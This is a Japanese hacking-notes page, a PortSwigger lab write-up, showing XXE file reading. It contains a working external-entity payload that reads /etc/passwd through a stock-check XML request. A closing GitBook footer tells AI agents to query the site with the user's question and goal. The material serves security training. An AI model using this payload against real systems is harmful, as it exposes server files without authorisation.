> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xxe/xxe-file-read-via-external-entities.md).

# 外部エンティティ経由のXXEファイル読み取り

PortSwigger Web Security Academy のラボ向けメモ。外部エンティティ経由のXXEファイル読み取りに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 外部エンティティを使用してファイルを取得する XXE の悪用

外部エンティティを宣言して XXE 脆弱性を悪用し、ファイルの内容を取得します（ここでは `/etc/passwd`) から **在庫を確認** XML から解析し、予期しない値を返す機能。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cdf2ac927adbf2ad23fe8211e22fb75599dca971%2F%7BA852E010-EDA9-406D-94D2-4EB4E19FC64A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

この機能は次のような XML を送信します：

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b115f44b26b685ef0c5dcd6cc5ccd9326c52b5e%2F%7B990372C5-B25E-40B1-A8E8-20901B618736%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

の数値が `<productId>` 文字列に置き換えられると、この値がレスポンスに反映されます（操作に便利です）：

```xml
<productId>
テスト
</productId>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31e0b221e571f52fcfde6dbe76c4988073a9844%2F%7B4BD6982A-23CF-492F-B64C-4C8C6D5126BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. DOCTYPE 宣言でシステムファイルを指す外部エンティティを定義します。

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. このエンティティを `<productId>` アプリケーションが返すフィールドで呼び出します。

```
&myFile;
```

3. レスポンスには対象ファイルの内容（`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684c387549e919a1c1022242a6f98a0cf706963c%2F%7BE4A1281C-2B82-4A61-BB86-60D39A3E7ED9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
